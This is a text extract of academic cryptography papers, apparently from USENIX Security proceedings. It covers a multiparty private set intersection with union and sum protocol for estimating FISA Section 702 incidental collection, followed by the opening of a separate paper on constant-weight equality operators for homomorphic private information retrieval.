Randomization ensures that tuples not corresponding to el-
ements of S become non-DH tuples eventually, except with
negligible probability. As a consequence, P0 cannot decrypt
AEAD ciphertexts corresponding to these non-DH tuples.

Adapting MPSI to MPSIU requires two modifications
to this paradigm. First, to compute the intersection with
union, every non-delegated party Pi holding w ∈ Xi with
j = index(w) sets R j←DH.Reduce(L,HE(w),M j,0). Second,
instead of randomizing tuples at indices where there is no pos-
sible match, a party self-reduces those tuples. These changes
ensure that if w∈ Xi for any non-delegate party Pi and w∈ X0,
R j will form a DH tuple (except for hashmap collisions).

MPSIU→MPSIU-Sum. MPSI and the sketch of MPSIU
allow delegate P0 to learn elements in the intersection X0

⋂
S,

by decrypting AEAD ciphertexts containing elements. P0 can
only decrypt a ciphertext if it is associated with a DH tuple.

We modify the MPSIU sketch in two ways to yield MPSIU-
Sum. First, we replace P0’s associated data. Instead of encrypt-
ing elements in X0 under a symmetric AEAD scheme (e.g.,
AES), P0 encrypts values in V under an additively homomor-
phic scheme (e.g., ElGamal). Second, we hide the protocol’s
intermediate output B from P0 by using an aggregated public
key apk. This step ensures P0 can decrypt AEAD ciphertexts
in B associated with DH tuples and can add the inner ElGamal
ciphertexts, but it cannot decrypt those ciphertexts. Pn−1 also
adds 0 to each ciphertext so P0 cannot undo B’s permutation.
The parties then jointly decrypt the sum with output to P0.

Figure 8 provides an overview of MPSIU-Sum. We formal-
ize the protocol in Figure 13. For brevity, we incorporate by
reference the MPSI sub-protocols Delegate-Start in Figure 9,
Blind-Encrypt in Figure 10 and Delegate-Finish in Figure 11.
We discuss possible extensions for the protocol in Section 9.

6.1 Correctness
Theorem 6. Assuming semi-honest participants, false posi-
tives are not possible in MPSIU-Sum.

Proof. Let U =
⋃n−1

i=1 Xi and suppose, on the contrary, that
x ̸∈ (X0

⋂
U) but x ∈ D (in Delegate-Finish) with index(x) =

j. P0 was able to decrypt B j,1 using key α ·B j,0, so x ∈ X0
and M j,0 = α ·HE(x). It follows that before Blind-Encrypt,
(L,R j,0,R j,1) formed a DH tuple as B j,1 was encrypted using
R j,1 = α ·B j,0 = α ·R j,0. Because x ̸∈U , x ̸∈ Xi for all i > 0.
There are two possibilities:
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• y ∈ Xi for some i > 0 such that y ̸= x but index(y) =
index(x) = j. Pi sets R j ← DH.Reduce(L,HE(y),M j,0).
As HE(y) ̸= HE(x), (L,HE(y),M j,0) is not a DH tuple.
R j will be set to a random tuple from self-reduction.

• There exists no y ∈U such that index(y) = j. P1 explic-
itly sets R j to a random tuple, and the remaining parties
Pi for i > 1 self-reduce R j to another random tuple.

In either case, R j is set to a random tuple by every Pi for
i > 0. Therefore, (L,R j,0,R j,1) cannot be a DH tuple before
Blind-Encrypt, yielding a contradiction.

Theorem 7. Assuming semi-honest participants, MPSIU-Sum
false negatives are only caused by collisions in hashmap M.

Proof. Let U =
⋃n−1

i=1 Xi, I = X0
⋂

U,x ∈ I with index(x) =
j. A false negative implies P0 could not decrypt B j,1 with
key α ·B j,0 in Delegate-Finish. It follows that (L,R j,0,R j,1)
was not a DH tuple before Blind-Encrypt. Since x ∈U , there
must be x ∈ Xi for some i > 0. It follows that Pi set R j ←
(L,HE(x),M j,0) during its turn. There are two possibilities:

• Party Xk, i < k < n with y ̸= x, y ∈ Xk set R j ←
(L,HE(y),M j,0) and index(x) = index(y) = j, which im-
plies a collision in M.

• M j,0 ̸= α ·HE(x). We know that x ∈ I =⇒ x ∈ X0 so
there must be y ∈ X0 such that y ̸= x and index(x) =
index(y) = j, which also implies a collision in M.

6.2 False Negatives
The false negative analysis for MPSI (Section 5.2) applies
to MPSIU-Sum. Notice that in MPSI, if there is a hashmap
collision, the corresponding slot of M or R is corrupted. If
x ∈ I, y ̸∈ I, and index(x) = index(y), the output will omit x.

MPSIU-Sum can, in some instances, recover from hashmap
collisions. If a subsequent party has x in their set and no
other value that hashes to index(x), the party will replace the
corrupted value in R. As a consequence, the expected false
negative rate for MPSI is an upper bound for MPSIU-Sum.

6.3 Security
We provide proofs of malicious security for MPSIU-Sum.
For brevity, we combine proofs that non-delegate parties
P1, . . . ,Pn−1 learn no information about X1, . . . ,Xn−1 or X0.

Theorem 8. A static computationally-bounded malicious
adversary A that corrupts Pi for i∈ C ⊂{1, . . . ,n−1} learns
no information about {X j : 1≤ j ≤ n−1, j ̸∈C} in MPSIU-
Sum.

Theorem 9. A static computationally-bounded malicious
adversary A that corrupts Pi for i∈ C ⊂{1, . . . ,n−1} learns
no information about X0 in MPSIU-Sum.

Proof. We denote the view of A in the real world as
viewMPSIU-Sum

A . Simulator S interacts with A . As non-
delegates receive no output, it suffices to show that S gener-
ates an incoming view that is computationally indistinguish-
able from viewMPSIU-Sum

A . In MPSIU-Sum, Pi for i > 0 receives
L, M, pks for s ̸= i (during Key-Aggregation), and an ElGamal
ciphertext Csum (during Joint-Decryption). If i > 1 and i ∈ C ,
A also receives R. Define simulator S with inputs {Xi : i∈ C}.
If A aborts, S aborts. A may also corrupt inputs {Xi : i ∈ C}.

S chooses X0
$
⊂{0,1}∗, V

$
⊂Z+, {pks}s ̸=i

$←KEG, z←Z+.
apk ← EG.AggKeyGen(pk0, . . . ,pkn−1).
(α,L,M) ← Delegate-Start(X0,V,apk,EG.Enc).
Csum ← EG.Enc(apk,z).
S sends L,M,{pks}s ̸∈C ,Csum to A .

If i > 1 and i ∈ C , S also sends R $← E2×m.
Note that viewMPSIU-Sum

A does not contain α or secret keys
{sks}s ̸∈C corresponding to {pks}s ̸∈C . As the Discrete Log
Problem is computationally hard over E, L = α ·G is iden-
tically distributed in viewMPSIU-Sum

A and in the simulator-
generated view. Similarly, without knowledge of sks, pks is
identically distributed. For any w ∈ (

⋃
i∈C Xi) such that j =

index(w), A knows L=α ·G and can compute HE(w) but can-
not distinguish the tuple (L,HE(w),M j,0) from (L,HE(w),α ·
HE(w)) due to the intractability of the DDH problem over E.
Semantic security of the ElGamal cryptosystem implies that
the ciphertexts M j,1 and Csum are also indistinguishable in the
two views. Therefore, M is identically distributed in the two
views. If i > 1 and i ∈ C , then without knowledge of α, A
cannot distinguish between DDH and non-DH tuples in the
real R. Because S samples the ideal R uniformly at random
from E2×m, S c≡ viewMPSIU-Sum

A as required.

Theorem 10. A static computationally-bounded malicious
P0 learns no more information about {X j : 1 ≤ j ≤ n− 1}
than is revealed by the result of MPSIU-Sum.

Proof. Simulator S0 interacts with a corrupted P0. In MPSIU-
Sum, delegate P0 receives B, pks (during Key-Aggregation),
ds (during Joint-Decryption) for s > 0, and the protocol output.
Define simulator S0 with input X0. Note that S0 learns α, M,
sk0, Csum = (C1,C2), and the real output of the protocol IR.
If P0 aborts, S0 aborts. If P0 aborts before receiving B, it
cannot compute the protocol result and thus does not learn
any information about {X j : 1≤ j ≤ n−1}. If P0 aborts after
receiving B but before Joint-Decryption, it cannot compute the
intersection sum but learns the cardinality of the intersection,
which is also revealed by the result of MPSIU-Sum. P0 may
also use a corrupted input X ′0. S0 programs the random oracle
HE(·) and extracts input provided by P0, as in the Apple
PSI security proof [28]. We first show how S0 constructs
B,{pks}s>0,{ds}s>0 such that the output matches in both real
and simulated executions.

Si chooses {sks}s ̸=i
$← Fq, and sets pks ← sks · G,

apk ← EG.AggKeyGen(pk0, . . . ,pkn−1).
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Operation
MPSI MPSIU-Sum

P0 Pi for 0 < i≤ n−1 P0 P1 P2, . . . ,Pn−2 Pn−1
Key-Aggregation − − 1 1 1 1
Delegate-Start m+1 − m(2c+1)+1 − − −

Computation on R − 2(m+ |Xi|) − 2(m+ |X1|) 4m 4m
Blind-Encrypt − − − − − 2mc

Delegate-Finish m − m − − −
Joint-Decryption − − c c c c

Total 2m+1 2(m+ |Xi|) (2m+1)(c+1)+1 2(m+ |X1|)+ c+1 4m+ c+1 (2m+1)(c+2)−1

Table 1: Computation cost in elliptic curve point multiplications for MPSI, MPSIU-Sum, and sub-protocols.

MPSI MPSIU-Sum
delegate P0 m+1 (n−1)+(m+1)(2c+1)
P1, . . . ,Pn−2 2m (n−1)+2m(c+1)

Pn−1 m (n−1)+m(2c+1)

Table 2: Communication cost (egress) of MPSI and MPSIU-
Sum in EC points. m = |M|= |R|= |B| with c CRT moduli.

If x ∈ IR such that index(x) = j, S0 chooses z $← E and sets
B j←{z,AEAD.Enc(KDF(α · z),EG.AddZero(apk,M j,1))}.

Otherwise, S0 chooses z1,z2
$← E and sets

B j←{z1,AEAD.Enc(KDF(z2),EG.AddZero(apk,M j,1))}.
Si sets ds← sks ·C1 and sends B,{pks}s>0,{ds}s>0.

If j ∈ {index(x) : x ∈ IR}, S0 sets B j such that P0 successfully
decrypts the corresponding AEAD ciphertexts in Delegate-
Finish. Otherwise, S0 sets B j so decryption fails. S0 simulates
Key-Aggregation using {pks}s>0 such that apk is constructed
correctly. Using secret key shares {sks}s>0, S0 sets {ds}s>0
so that decryption of Csum in Joint-Decryption succeeds.

We now show that B,{pks}s>0,{ds}s>0 are identically dis-
tributed in the real and simulated views. The argument for B is
identical to that for Theorem 5, which we provide in the sup-
plement [54]. Parties choose {sks}s>0 uniformly at random, as
does S0, implying {ds}s>0 are also constructed identically by
exponentiation of C1. It follows that S0

c≡ viewMPSIU-Sum
0 .

7 Performance Evaluation

MPSI and MPSIU-Sum require total computation linear in
m = |M|= |R|= |B| and in the number of participants n. Sim-
ilarly, the total communication is also linear in m and n. Both
protocols require only a single round for every non-delegated
party and the runtime of each party is independent of the
number of parties n. The delegated party P0 uses a broadcast
channel while every other participant communicates with only
two parties (except during Key-Aggregation). Table 1 provides
computation cost in elliptic curve (EC) point multiplications,
which are generally the most expensive operations. Table 2
presents communication cost in EC points.

MPSIU-Sum is more computationally expensive than MPSI
for two primary reasons. First, every party in MPSIU-Sum
applies DH.Reduce to every hashmap slot, which costs 4 EC

point multiplications each. Randomizing unmodified slots in
MPSI, by contrast, requires only 2 EC point multiplications
each. Second, MPSIU-Sum uses ElGamal encryption, which
requires 2c EC point multiplications per encryption where c
is the number of CRT moduli. The ciphertext expansion factor
F > 2c also increases communication cost in MPSIU-Sum.

Implementation. We implemented MPSI and MPSIU-Sum
in Go (1.17.2) using the standard library implementation
of NIST P-256, space-optimized bitmaps [55], a userspace
CSPRNG [32], c= 2, and 33-byte compressed EC points. The
implementation consists of approximately 2,000 lines of code
and is available at https://github.com/citp/mps-operations.

Benchmarks. We ran benchmarks on a 128-core AMD
EPYC 7742 @ 2.76 GHz with 1,024 GB RAM and parties par-
ticipating locally in serial order. The private input set for each
party consisted of random 12-byte strings. Table 3 presents
the benchmark results with varying set and hashmap sizes.

Our motivating use case, estimating incidental collection,
would involve running MPSIU-Sum about once annually for
the IC’s transparency report. Participants would have access
to high-performance servers and connectivity with high band-
width and low latency. Note also that the protocol easily paral-
lelizes for each participant and streaming across participants.

Predicting performance for our use case is difficult, because
IC and communications service inputs are not public. As very
rough figures, based on IC transparency reports and service
usage disclosures, IC input could include tens to hundreds of
millions of items and communications service input could in-
clude hundreds of millions to billions of items. Even with very
conservative assumptions—input sets with tens of billions of
elements and a hashmap with over a trillion indices—our
benchmarks show that MPSIU-Sum would remain practical.16

8 Optimizations

Concurrent Execution. For simplicity, we describe serial
versions of MPSI and MPSIU-Sum. Both protocols could be
adapted for concurrent computation with a star topology. In

16If performance were prohibitive, the parties could run MPSIU-Sum on a
random subset of hashmap indices and extrapolate to the entire hashmap.
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|X0|= |V0| |Xi|, i > 0 |M| MPSI MPSIU-Sum
P0 P1 P2, . . . ,Pn−2 Pn−1 FNR P0 P1 P2, . . . ,Pn−2 Pn−1 FNR

220 220 224 80 41 49 79 ∼ 10% 81 52 74 145 ∼ 8%
220 220 225 152 72 79 144 ∼ 5% 191 76 111 270 ∼ 4%
221 221 225 156 89 89 153 ∼ 10% 183 103 151 303 ∼ 8%
221 221 226 268 158 181 307 ∼ 5% 299 154 236 534 ∼ 4%
222 222 226 299 201 214 339 ∼ 10% 364 193 265 602 ∼ 8%

Table 3: Runtime (in seconds) and false negative rate (FNR) for MPSI and MPSIU-Sum with four parties.

MPSI, for example, parties could concurrently compute either
a random tuple or a self-reduction (depending on their input)
for each index in R. A non-delegate could operate as a hub and
receive tuples for each index from all other non-delegates. It
could then add the tuples for each index and run Blind-Encrypt
on the resulting hashmap. This design would preserve the
necessary property: the sum of DH tuples is a DH tuple and
if at least one addend is a random non-DH tuple, the sum
is also a random non-DH tuple. A similar construction for
MPSIU-Sum would use the additive inverse property of EC
point addition to replace the value at a hashmap index.

In this concurrent execution model, assuming co-located
parties, the MPSI total runtime would be primarily determined
by P0’s runtime. Similarly, the MPSIU-Sum total runtime
would be primarily determined by Pn−1’s runtime.

Faster Intersection Computation. In MPSI, P0 encrypts
items in X0 as associated data and then learns I by recovering
plaintext. We use this construction as an intuitive step toward
MPSIU-Sum. A more efficient MPSI or MPSIU construction
could omit the associated data and permutation of B, such that
P0 would learn I from which indices in B contain DH tuples.

Faster Cardinality Computation. Similarly, if P0 should
only learn intersection cardinality, a more efficient MPSI-CA
or MPSIU-CA construction could omit associated data such
that P0 learns |I| from the count of DH tuples in π(B).

9 Extensions

In this section, we briefly describe optional extensions for
MPSI and MPSIU-Sum. While we do not believe these ex-
tensions are essential for estimating incidental collection, we
present them to enable additional use cases and because our
constructions may be of independent research interest.

Additional Location Data. Multiple communications ser-
vices may have location information about the person using
an identifier, and that information can differ in recency and
precision. It is possible to construct protocols that account for
levels of location confidence, by decomposing the interactions
between confidence levels into runs of MPSI and MPSIU-Sum.

MPSI-Sum. MPSI can be easily extended to an MPSI-Sum
protocol, like MPSIU-Sum, by omitting the union operations.

Differential Privacy. The sum and cardinality output from
MPSIU-Sum could reveal information about non-delegate sets,
as discussed when formalizing the threat model (Section 3.4).

Our protocol allows for easy addition of calibrated noise
during the sum computation, in order to achieve differential
privacy [38, 77]. Any party could add noise to the ciphertext
for a hashmap index, P0 could add noise to the aggregated
homomorphic ciphertext during Delegate-Finish, and other
parties could add noise to the aggregated ciphertext as an
additional step in Joint-Decryption. P0 could provide a sensi-
tivity for the sum operation under homomorphic encryption,
or parties could independently estimate sensitivity.

MPSIU-Sum also enables adding calibrated noise to car-
dinality output. A party could increase cardinality with the
Apple PSI protocol synthetic match method [28], replacing
associated data with 0 under homomorphic encryption to pre-
serve the sum computation.17 A party could reduce cardinality,
in expectation, by spoiling a hashmap index18 or an input set
item. Note that cardinality sensitivity for an identifier is 1.

A party could add noise to the sum and cardinality at the
same time, by generating a synthetic match and setting associ-
ated data to noise for the sum under homomorphic encryption.

Arbitrary Functions of the Intersection. Variants of our
protocols could compute arbitrary functions of an intersection
or intersection with union, by substituting fully homomorphic
encryption (FHE) for partially homomorphic encryption. For
example, P0 could compute the sum of squares of values asso-
ciated with the intersection if it encrypts associated data with
FHE and squares intersection ciphertexts before summing.

Malicious Security. As discussed in the threat model for-
malization (Section 3.4), MPSI and MPSIU-Sum provide con-
fidentiality against a malicious delegate P0 or a malicious
subset of non-delegate parties P1, . . . ,Pn−1. The protocols
do not, however, provide malicious security against a collud-
ing delegate and non-delegate party. A non-delegate party
could reveal its internal state to the delegate, allowing the
delegate to learn the intermediate intersection computation
across non-malicious preceding parties for each index.

17Parties could otherwise add 0 under homomorphic encryption to associ-
ated data, such that synthetic and real matches would be indistinguishable.

18Parties would have to modify R so ordinary and spoiled indices would
be indistinguishable, such as by using the EC addition method in Section 8

1718    31st USENIX Security Symposium USENIX Association



A simple modification to the protocols would provide con-
fidentiality against any malicious proper subset of parties.
Intuitively, each party could randomly transform the blinding
key α and the values that depend on α, preserving DH tuples
while ensuring that no other party possesses the key necessary
to test for DH tuples. Suppose that each non-delegate party
Pi generates private randomizer αi. When participating in
the protocol, Pi updates L, M j,0, and R j,1 for 0 < j < m by
multiplying them with αi. Pi then uses the updated values and
sends them to Pi+1. After all parties have participated, Pn−1
holds R where an index that has an intersection (in MPSI) or
intersection with union (in MPSIU-Sum) contains a DH tuple
with aggregated blinding key α ·α1 · . . . ·αn−1. The parties
jointly compute the aggregated key using secure multiplica-
tion with output to P0, and the protocol completes as normal.

Additional forms of malicious security are possible. After
Delegate-Start, delegate P0 could provide a zero-knowledge
(ZK) proof of knowledge of α such that L = α ·G using a
Schnorr proof [69]. Similarly, after Blind-Encrypt in MPSIU-
Sum, Pn−1 could provide a ZK proof that ElGamal ciphertexts
in B and M encrypt the same plaintext values [25]. After
Delegate-Finish in MPSIU-Sum, P0 could prove it computed
Csum correctly with homomorphic addition of ciphertexts in B,
by simply broadcasting B. In Joint-Decryption of ciphertext
ct = (C1,C2), Pi sends ski ·C1. Pi could append a ZK proof of
knowledge of ski [69]. Parties could verify these ZK proofs
and abort the protocol in case of verification failure.

Output Delegation. In some use cases, it may be desirable
for a party other than P0 to receive output. When estimating
incidental collection, for example, it may be preferable to
provide output to a different IC element or to an independent
agency (e.g., the Privacy and Civil Liberties Oversight Board).

Modifying MPSIU-Sum to achieve this property would be
straightforward. P0 could run Delegate-Finish and pass D
to a new delegated party E , regardless of whether that party
provided input earlier. Recall that D contains homomorphic
ciphertexts, which E can add to compute Csum. E can then
engage in Joint-Decryption with all parties P0, . . . ,Pn−1.

Adapting MPSI for output delegation is also achievable.
During Delegate-Start, P0 and E could use MPC for AEAD to
encrypt X0 under key sk held by E . Similarly, during Delegate-
Finish, P0 and E could use MPC for AEAD to decrypt tuples
in B and reveal plaintexts to E . MPC circuits for AES have
been studied extensively and are now practical [37, 48].

If E only needs to learn intersection cardinality, as in the
Section 8 optimization, delegation is simple. E can update
blinding key α, as in the malicious security extension, and
count DH tuples at the end of the protocol to learn cardinality.

10 Related Work

Our MPSI and MPSIU-Sum protocols build on a rich MPC
literature. Private set intersection problems have received

extensive scholarly attention, and we refer the reader to [66]
for a valuable overview of constructions. We focus here on
multiparty set operations, variants of two-party PSI that are
particularly relevant to our protocols, and secure aggregation.

Multiparty Private Set Intersection. MPSI is the best
studied multiparty private set operation. Prior work has
constructed MPSI protocols from a diverse range of prim-
itives, including threshold asymmetric encryption, oblivi-
ous pseudorandom functions, symmetric private informa-
tion retrieval, and Bloom filters with homomorphic encryp-
tion [45, 46, 51, 58, 76]. Some MPSI constructions provide
malicious security [27, 42, 45, 61, 78]. Recent work has ex-
plored post-quantum secure MPSI protocols and protocols
for quantum computers [35]. Threshold variants of MPSI
have also been proposed, only revealing the intersection if its
cardinality is above or below a threshold [23, 24, 30].

We construct a new MPSI protocol to achieve the scale,
functionality, and malicious security necessary for estimating
incidental collection. Prior work has generally only evalu-
ated MPSI protocols on set sizes up to 220. Kolesnikov et
al. provide benchmarks for inputs sets larger than 220, but
their MPSI protocol is secure only against a few corrupted
semi-honest parties [51]. Bay et al. provide a more efficient
MPSI protocol if set sizes are much smaller (up to 256) and
the number of participants is higher (up to 50) [24]. Most
MPSI protocols attempt to decrease communication at the
cost of increasing computation. In our use case, the trade-off
is reversed or neutral because participants are well resourced
in both computational capacity and network connectivity.

Multiparty Private Set Intersection Cardinality. MPSI-
CA protocols, which only reveal intersection cardinality, have
been studied in the unbalanced case where the delegate’s set
is much smaller than that of other parties [56]. Our MPSI
protocol can be adapted into a faster MPSI-CA protocol than
past work, at the cost of increased communication (Section 8).

Multiparty Private Set Union. Kolesnikov et al. use obliv-
ious transfer to achieve two-party PSU, and Garimella et al.
generalize their technique to compute arbitrary functions of
set intersection and union in the two-party setting yielding
the most efficient PSU protocol [34, 41, 52]. Mohassel et al.
provide a general protocol for three-party database joins [59].

In the multiparty setting, Shishido et al. propose a direct
construction for MPSU over multisets, Wang et al. provide
a generic protocol for mixed set operations, and Seo et al.
provide the first constant-round MPSU protocol [70, 73, 75].
No implementations or concrete benchmarks are, however,
provided for these MPSU constructions.

The problem of privately intersecting the delegate’s set
with the union of all other sets was first described by Kissner
and Song as a hypothetical application for their private set
operation protocols [49]. We formalize the MPSIU problem
and present a more efficient protocol than past work.
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Private Set Intersection Sum. PSI-Sum protocols output a
sum of associated values at an intersection. Ion et al. describe
a practical two-party protocol with semi-honest security [47].

Private Set Intersection with Associated Data. PSI-AD,
alternately labeled PSI or PSI with data transfer, associates
data with each intersection element. Recent work studies the
two-party case with small delegate set sizes using FHE [33].

Secure Multiparty Aggregation. Secure aggregation pro-
tocols allow parties holding private values to aggregate them,
without revealing more information than can be learned from
the aggregate value [29]. These protocols are well studied for
summation and have been constructed using perturbations,
secret-sharing mechanisms, and homomorphic encryption,
among other primitives [68]. Some protocols offer malicious
security and differentially private aggregation [43]. Many ag-
gregation protocols that do not use encryption are vulnerable
to colluding malicious parties. We use a PHE-based aggrega-
tion method in MPSIU-Sum to defend against such collusion.

11 Conclusion

In this work, we proposed a secure multiparty computation ap-
proach for estimating the scale of incidental collection under
Section 702 of FISA. We designed and evaluated a scalable
multiparty private set intersection with union and sum proto-
col that could implement our proposed approach.

Demonstrating technical feasibility is, however, just the first
step. The IC may be reluctant to participate in a protocol like
ours without clear direction from Congress, out of concern
that it might run afoul of the intricate U.S. legal framework
for government surveillance. Communications services may
also be hesitant because of perceived ambiguities in privacy
law and risks of private litigation. We have heard both of these
perspectives while discussing our proposal with intelligence
professionals and technology sector practitioners.

Moving from technical feasibility to operational reality will
likely require congressional leadership. And so, in closing,
we offer a public policy recommendation: Congress should
create a pilot program for estimating incidental collection.
The program should require IC participation and offer limited
liability protection for participating communications services.
Pilot programs are common in legislation, including in the
annual intelligence and defense authorization bills. A trial
deployment is the logical next step toward finally estimating
the scale of incidental collection under Section 702.
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Abstract
Equality operators are an essential building block in tasks

over secure computation such as private information re-
trieval. In private information retrieval (PIR), a user queries
a database such that the server does not learn which ele-
ment is queried. In this work, we propose equality opera-
tors for constant-weight codewords. A constant-weight code
is a collection of codewords that share the same Hamming
weight. Constant-weight equality operators have a multi-
plicative depth that depends only on the Hamming weight of
the code, not the bit-length of the elements. In our experi-
ments, we show how these equality operators are up to 10
times faster than existing equality operators. Furthermore,
we propose PIR using the constant-weight equality operator
or constant-weight PIR, which is a PIR protocol using an
approach previously deemed impractical. We show that for
private retrieval of large, streaming data, constant-weight PIR
has a smaller communication complexity and lower runtime
compared to SEALPIR and MulPIR, respectively, which are
two state-of-the-art solutions for PIR. Moreover, we show
how constant-weight PIR can be extended to keyword PIR.
In keyword PIR, the desired element is retrieved by a unique
identifier pertaining to the sought item, e.g., the name of a file.
Previous solutions to keyword PIR require one or multiple
rounds of communication to reduce the problem to normal
PIR. We show that constant-weight PIR is the first practical
single-round solution to single-server keyword PIR.

1 Introduction

Homomorphic encryption permits computation on encrypted
data without the need to decrypt. For example, some homo-
morphic encryption schemes allow addition and multiplica-
tion [13, 20, 35], from which arbitrary functions are derived.
However, operations with homomorphic encryption are not
equally expensive and multiplications are up to 20 times more
expensive compared to additions. Furthermore, the maximum
number of sequential multiplications, i.e., the multiplicative

depth, that can be performed is limited by the parameters
of the encryption scheme. Hence, it is beneficial to derive
functions using a smaller multiplicative depth and fewer mul-
tiplications. Equality operators are an important function
used in many applications [2, 3, 11, 26, 36]. However, the
cost of performing one equality check using homomorphic
encryption is often impractical due to the high multiplicative
depth of the equality circuit. Specifically, the multiplicative
depth of existing equality operators depends on the bit-length
of the elements, which limits scalability.

In this work, we propose equality operators for constant-
weight codewords as a new, efficient way to compare homo-
morphically encrypted data. Constant-weight codewords are
binary strings that share the same Hamming weight. We de-
sign equality operators specifically for these codewords with
a multiplicative depth that depends only on the Hamming
weight of the code, not the bit-length of elements. Our experi-
ments show equality operators for constant-weight codewords
are up to 10× faster than existing equality operators.

Private Information Retrieval (PIR), first introduced by
Chor et al. [16], is an example of an application in which
equality operators play a crucial role. In a PIR protocol, a user
retrieves an element from a database, such that the database
does not learn which element is retrieved. Typically, elements
are retrieved using the physical address of the desired item,
which we call index PIR. In another variant called keyword
PIR [15], the user’s desired element is retrieved using an
identifier pertaining to the sought item, e.g., the name of a file.
State-of-the-art solutions for keyword PIR reduce it to index
PIR using one or multiple extra rounds of communication [15].
Ali et al. [4] propose a probabilistic hashing technique to map
identifiers from a large domain to a small table.

In this work, we propose PIR using constant-weight equal-
ity operators or constant-weight PIR. Our protocol uses an
approach that was assumed to be impractical, which differs
from that of related work, specifically SEALPIR [6] and
MulPIR [4], two efficient PIR protocols. Constant-weight PIR
also scales to databases with large payload data or streaming
data with less communication and computation overhead com-
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pared to SEALPIR and MulPIR, respectively. For example,
we show that for 16000 rows, the runtime of MulPIR grows
twice as fast as constant-weight PIR, as a function of the pay-
load size. Consequently, constant-weight PIR has a smaller
runtime than MulPIR when the payload size exceeds 268 KB,
which corresponds to a database size of 4.3 GB. Similarly,
the communication complexity of SEALPIR grows twice as
fast as constant-weight PIR as a function of the payload size.

Moreover, due to the modularity and simplicity, it can
also be extended to keyword PIR with minor modification,
no extra rounds, and minimal overhead. Constant-weight
keyword PIR is the first efficient single-round solution for
single-server keyword PIR.

Single-round single-server keyword PIR is useful for the
application of private file retrieval [29]. Compared to exist-
ing approaches, PIR has asymptotically optimal communi-
cation overhead for privately retrieving large items from a
database [29]. Constant-weight PIR in particular also has a
small computational overhead, compared to other PIR proto-
cols, when the retrieved item is large and also allows updates
in the database with no interaction with the users.

We show through our experiments how the size of the do-
main of keywords only affects one of the three steps per-
formed by the server in constant-weight PIR. Hence, the
domain of keywords can be expanded with marginal cost. We
also show how the constant-weight code used in our proto-
col is a more space-efficient representation of a PIR query,
for a fixed multiplicative depth, compared to existing work.
Specifically, for a multiplicative of d in the PIR protocol over
a database with n possible identifiers, the representation used
in constant-weight PIR has a size of O( 2d√n). In contrast,
SEALPIR and MulPIR use a representation for the query of
size O(d d+1

√
n).

Overall, the contributions of this paper are as follows:

• Novel equality operators for constant-weight codewords

• PIR using constant-weight equality operators

• Experimental evaluation of the equality operators

• Evaluation of constant-weight PIR and comparison with
existing index PIR protocols

• Detailed analysis of constant-weight keyword PIR

2 Background and Related Work

2.1 Homomorphic Encryption
Homomorphic Encryption allows computation on encrypted
data, without the need for decryption or access to the secret
key. This maintains the secrecy of the data while computation
is performed. One use case is a client delegating computation
on its data to a remote, untrusted server.

The concept of homomorphic encryption was introduced
by Rivest et al. [30]. In 2009, Gentry proved the existence of

a fully homomorphic cryptosystem based on lattices that can
evaluate arbitrary functions on encrypted data [21].

Multiple lattice-based cryptosystems were proposed follow-
ing the seminal work of Gentry which improved the efficiency
drastically [12, 13, 24, 35]. Many homomorphic cryptosys-
tems are used in a leveled fashion. A leveled homomorphic
cryptosystem allows only a predefined number of sequential
multiplications, determined by the parameters of the cryp-
tosystem. The Fan–Vercauteren cryptosystem is an example
that we explain in the next subsection.

2.1.1 Fan–Vercauteren (FV) Cryptosystem.

The Fan–Vercauteren cryptosystem [20] is a lattice-based
cryptosystem where plaintexts are elements from the poly-
nomial ring Rt = Zt [x]/(xN + 1). The polynomial modulus
degree, N, is a power of two and t is the plaintext modulus.
Messages must be encoded as a polynomial in the field before
they can be encrypted. An FV ciphertext is an array of poly-
nomials, each from Rq = Zq[x]/(xN + 1), where q is called
the coefficient modulus. In the simplest case, the ciphertext is
only two polynomials. Let C denote the ciphertext space. N
and q determine both the security parameter and how many
homomorphic operations can be performed on ciphertexts
before decryption is necessary.

In addition to the standard operations for a cryptosystem,
i.e., key generation, encryption and decryption, FV supports
homomorphic operations over the ring as well. Four of these
operations are listed below. All operations over plaintexts are
in the ring Rt .

• Addition: Given ciphertexts c1(x),c2(x) ∈ C that en-
crypt m1(x),m2(x) ∈ Rt , respectively, output cA(x)
which encrypts m1(x)+m2(x).

• Plain Multiplication: Given m1(x) ∈ Rt and c2(x) ∈ C
that encrypts m2(x) ∈ Rt , output cPM(x) which encrypts
m1(x)m2(x).

• Multiplication: Given ciphertexts c1(x),c2(x) ∈ C that
encrypt m1(x),m2(x) ∈ Rt , respectively, output cM(x)
which encrypts m1(x)m2(x).

• Substitution: Given c(x) ∈ C that encrypts m(x) and an
integer k, output cS(x) which encrypts m(xk).

In the rest of this paper, PM and M denote plaintext multipli-
cation and homomorphic multiplication, respectively.

2.1.2 Microsoft SEAL Library

The SEAL library [31] implements the FV cryptosystem and
supports all the operations mentioned above. Specifically, the
implementation for the substitution operation in this library
was first introduced by Angel et al. [6] based on the plaintext
slot permutation technique discussed by Gentry et al. [23].
One FV plaintext can encode N log2 t bits of data. Also, the
size of the smallest ciphertext that encrypts a plaintext is
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2N log2 q bits. An important parameter is the expansion factor
which is the ratio between the size of a ciphertext and the
largest plaintext that can be encrypted and is equal to F =
2logq/ log t. In the rest of this paper, F denotes the expansion
factor of the FV cryptosystem. Table 1 compares the four
described operations in terms of speed and noise grown, as
implemented in SEAL 3.6.

Table 1: Runtime cost of operations in SEAL 3.6, for N ∈
{2048,4096,8192,16384} and the default ciphertext modu-
lus. * Time and noise growth in plain multiplication also
depend on the value of the unencrypted operand.

Operation Time (µs) Noise Growth
N = 2048 N = 4096 N = 8192 N = 16384

Addition 6 19 67 435 Additive
Plain Mult.∗ 12–135 30–529 105–2201 509–9647 Multiplicative

Multiplication - 3823 15744 66908 Multiplicative
Substitution - 768 4137 26047 Additive

2.2 Private Information Retrieval

Private Information Retrieval (PIR) [16] is a protocol where a
user retrieves an element from a database, such that the owner
of the database cannot determine which element was retrieved.
There are two forms of PIR protocols. In the first form, which
we denote index PIR, the user holds the physical address of
the item, e.g., the row in a database table or the index in a
public registry. In the second form, called keyword PIR, the
physical address of the desired item may not be known and
it is only accessible by an identifier pertaining to the sought
item, e.g., the name of a file.

The privacy guarantee of a PIR protocol can be information-
theoretic or computational. Information-theoretic PIR (IT-
PIR) is private even in the presence of a computationally un-
bounded adversary [5, 9, 16, 17]. Computational PIR (CPIR)
relaxes the assumption to an adversary with bounded compu-
tational power. In the single-server setting, which is the focus
of this paper, solutions rely on some intractability assumption,
e.g., the hardness of determining the quadratic residuosity
modulo composite numbers [25, 27] or the security of lattice-
